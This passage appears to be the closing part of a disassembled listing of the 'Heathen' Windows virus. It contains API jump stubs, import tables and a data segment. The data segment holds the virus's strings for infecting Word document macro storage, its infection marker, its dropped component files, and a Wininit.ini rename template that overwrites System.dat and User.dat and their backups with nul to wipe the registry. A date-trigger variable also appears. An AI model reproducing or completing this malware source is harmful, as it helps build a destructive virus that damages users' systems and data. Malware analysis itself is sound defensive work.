API_GetWindowsDirectoryA proc near
|
|
jmp ds:GetWindowsDirectoryA
|
|
API_GetWindowsDirectoryA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_FindNextFileA proc near
|
|
jmp ds:FindNextFileA
|
|
API_FindNextFileA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_CreateEventA proc near
|
|
jmp ds:CreateEventA
|
|
API_CreateEventA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_SetEvent proc near
|
|
jmp ds:SetEvent
|
|
API_SetEvent endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_FindClose proc near
|
|
jmp ds:FindClose
|
|
API_FindClose endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_WaitForSingleObject proc near
|
|
jmp ds:WaitForSingleObject
|
|
API_WaitForSingleObject endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_GetDriveTypeA proc near
|
|
jmp ds:GetDriveTypeA
|
|
API_GetDriveTypeA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_GetLogicalDrives proc near
|
|
jmp ds:GetLogicalDrives ; Get bitmask representing
|
|
API_GetLogicalDrives endp ; the currently available disk drives
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_FileTimeToSystemTime proc near
|
|
jmp ds:FileTimeToSystemTime
|
|
API_FileTimeToSystemTime endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_CreateFileA proc near
|
|
jmp ds:CreateFileA
|
|
API_CreateFileA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_FindFirstFileA proc near
|
|
jmp ds:FindFirstFileA
|
|
API_FindFirstFileA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_SetFileTime proc near
|
|
jmp ds:SetFileTime
|
|
API_SetFileTime endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_ResumeThread proc near
|
|
jmp ds:ResumeThread
|
|
API_ResumeThread endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_CreateThread proc near
|
|
jmp ds:CreateThread
|
|
API_CreateThread endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_CloseHandle proc near
|
|
jmp ds:CloseHandle
|
|
API_CloseHandle endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_WriteFile proc near
|
|
jmp ds:WriteFile
|
|
API_WriteFile endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_lstrcatA proc near
|
|
jmp ds:lstrcatA
|
|
API_lstrcatA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_lstrcmpA proc near
|
|
jmp ds:lstrcmpA
|
|
API_lstrcmpA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_lstrcpyA proc near
|
|
jmp ds:lstrcpyA
|
|
API_lstrcpyA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_lstrlenA proc near
|
|
jmp ds:lstrlenA
|
|
API_lstrlenA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_GetSystemTime proc near
|
|
jmp ds:GetSystemTime
|
|
API_GetSystemTime endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_RegisterClassA proc near
|
|
jmp ds:RegisterClassA
|
|
API_RegisterClassA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_LoadIconA proc near
|
|
jmp ds:LoadIconA
|
|
API_LoadIconA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_LoadCursorA proc near
|
|
jmp ds:LoadCursorA
|
|
API_LoadCursorA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_GetMessageA proc near
|
|
jmp ds:GetMessageA
|
|
API_GetMessageA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_DispatchMessageA proc near
|
|
jmp ds:DispatchMessageA
|
|
API_DispatchMessageA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_DefWindowProcA proc near
|
|
jmp ds:DefWindowProcA
|
|
API_DefWindowProcA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_CreateWindowExA proc near
|
|
jmp ds:CreateWindowExA
|
|
API_CreateWindowExA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_wsprintfA proc near
|
|
jmp ds:wsprintfA
|
|
API_wsprintfA endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_StgOpenStorage proc near
|
|
jmp ds:StgOpenStorage
|
|
API_StgOpenStorage endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_StgCreateDocfileOnILockBytes proc near
|
|
jmp ds:StgCreateDocfileOnILockBytes
|
|
API_StgCreateDocfileOnILockBytes endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_CreateILockBytesOnHGlobal proc near
|
|
jmp ds:CreateILockBytesOnHGlobal
|
|
API_CreateILockBytesOnHGlobal endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_CoGetMalloc proc near
|
|
jmp ds:CoGetMalloc
|
|
API_CoGetMalloc endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_GetStockObject proc near
|
|
jmp ds:GetStockObject
|
|
API_GetStockObject endp
|
|
|
|
; ---------------------------------------------------------------------------
|
|
align 100h
|
|
db 0A00h dup(?)
|
|
CODE ends
|
|
|
|
; Section 2. (virtual address 00003000)
|
|
; Virtual size : 00001000 ( 4096.)
|
|
; Section size in file : 00000400 ( 1024.)
|
|
; Offset to raw data for section: 00001C00
|
|
; Flags C0000040: Data Readable Writable
|
|
; Alignment : 16 bytes ?
|
|
; ---------------------------------------------------------------------------
|
|
|
|
; Segment type: Pure data
|
|
DATA segment para public 'DATA' use32
|
|
assume cs:DATA
|
|
;org 403000h
|
|
aGetWindowsDirectoryA db 'GetWindowsDirectoryA',0
|
|
aCopyFileA db 'CopyFileA',0
|
|
DeleteFileA db 'DeleteFileA',0
|
|
aCreateFileA db 'CreateFileA',0
|
|
aReadFile db 'ReadFile',0
|
|
aWriteFile db 'WriteFile',0
|
|
aCloseHandle db 'CloseHandle',0
|
|
aSetFilePointer db 'SetFilePointer',0
|
|
aGetFileTime db 'GetFileTime',0
|
|
aSetFileTime db 'SetFileTime',0
|
|
alstrcatA db 'lstrcatA',0
|
|
alstrcpyA db 'lstrcpyA',0
|
|
alstrcmpA db 'lstrcmpA',0
|
|
alstrlenA db 'lstrlenA',0
|
|
aStgOpenStorage db 'StgOpenStorage',0
|
|
aStgCreateDocfile db 'StgCreateDocfile',0
|
|
aCoGetMalloc db 'CoGetMalloc',0
|
|
aLoadLibraryA db 'LoadLibraryA',0
|
|
aKernel32_dll db 'KERNEL32.DLL',0
|
|
aHtmp_doc db 'Htmp.doc',0
|
|
aExplorer_exe db 'Explorer.exe',0
|
|
aHeathen_vex db 'Heathen.vex',0
|
|
aHeathen_vdl db 'Heathen.vdl',0
|
|
aHeathen_vdo db 'Heathen.vdo',0
|
|
aWininit_ini db 'Wininit.ini',0
|
|
aRename db '[rename]',0Dh,0Ah,0
|
|
aWorddocument:
|
|
unicode 0, <WordDocument>,0
|
|
xTable:
|
|
unicode 0, <xTable>,0
|
|
aMacros:
|
|
unicode 0, <Macros>,0
|
|
aScandata:
|
|
unicode 0, <ScanData>,0
|
|
aHeathenwc db 'HeathenWC',0
|
|
aHeathenIsHere db 'Heathen is here',0
|
|
aRename2 db '%snul=%sSystem.dat',0Dh,0Ah
|
|
db 'nul=%sUser.dat',0Dh,0Ah
|
|
db 'nul=%sSystem.da0',0Dh,0Ah
|
|
db 'nul=%sUser.da0',0
|
|
aRoot db 'A:',0
|
|
aSearchPattern db '%s*.*',0
|
|
a__ db '..',0
|
|
a_ db '.',0
|
|
aSS1 db '%s%s',0
|
|
aSS2 db '%s%s',0
|
|
db 0 ;
|
|
MemoryAllocator dd 0
|
|
DirectoryList dd 0 ; DirectoryName
|
|
dd 0 ; NextDirectorySTRUC
|
|
WindowsDirectory db 12Ch dup(0)
|
|
ILockBytes dd 0
|
|
IStorage dd 0
|
|
; IStorage del heathen.vdo
|
|
IStream dd 0
|
|
HeathenMacrosSize dq 0
|
|
UNICODE_HeathenVDO db 258h dup(0)
|
|
Drive dd ?
|
|
MoreThanHalfYear dd ?
|
|
may14h dd ?
|
|
EventHandle dd ?
|
|
Thread2_Handle dd ?
|
|
align 1000h
|
|
DATA ends
|
|
|
|
;
|
|
; Imports from KERNEL32.dll
|
|
;
|
|
; Section 3. (virtual address 00004000)
|
|
; Virtual size : 00001000 ( 4096.)
|
|
; Section size in file : 00000600 ( 1536.)
|
|
; Offset to raw data for section: 00002000
|
|
; Flags C0000040: Data Readable Writable
|
|
; Alignment : 16 bytes ?
|
|
; ---------------------------------------------------------------------------
|
|
|
|
; Segment type: Externs
|
|
; _idata
|
|
extrn SetThreadPriority:dword
|
|
extrn GetWindowsDirectoryA:dword
|
|
extrn FindNextFileA:dword
|
|
extrn CreateEventA:dword
|
|
extrn SetEvent:dword
|
|
extrn FindClose:dword
|
|
extrn WaitForSingleObject:dword
|
|
extrn GetDriveTypeA:dword
|
|
extrn GetLogicalDrives:dword
|
|
; Get bitmask representing
|
|
; the currently available disk drives
|
|
extrn FileTimeToSystemTime:dword
|
|
extrn CreateFileA:dword
|
|
extrn FindFirstFileA:dword
|
|
extrn SetFileTime:dword
|
|
extrn ResumeThread:dword
|
|
extrn CreateThread:dword
|
|
extrn CloseHandle:dword
|
|
extrn WriteFile:dword
|
|
extrn lstrcatA:dword
|
|
extrn lstrcmpA:dword
|
|
extrn lstrcpyA:dword
|
|
extrn lstrlenA:dword
|
|
extrn GetSystemTime:dword
|
|
|
|
;
|
|
; Imports from USER32.dll
|
|
;
|
|
extrn RegisterClassA:dword
|
|
extrn LoadIconA:dword
|
|
extrn LoadCursorA:dword
|
|
extrn GetMessageA:dword
|
|
extrn DispatchMessageA:dword
|
|
extrn DefWindowProcA:dword
|
|
extrn CreateWindowExA:dword
|
|
extrn wsprintfA:dword
|
|
|
|
;
|
|
; Imports from OLE32.dll
|
|
;
|
|
extrn StgOpenStorage:dword
|
|
extrn StgCreateDocfileOnILockBytes:dword
|
|
extrn CreateILockBytesOnHGlobal:dword
|
|
extrn CoGetMalloc:dword
|
|
|
|
;
|
|
; Imports from GDI32.dll
|
|
;
|
|
extrn GetStockObject:dword
|
|
|
|
|
|
|
|
end DLL_EntryPoint
|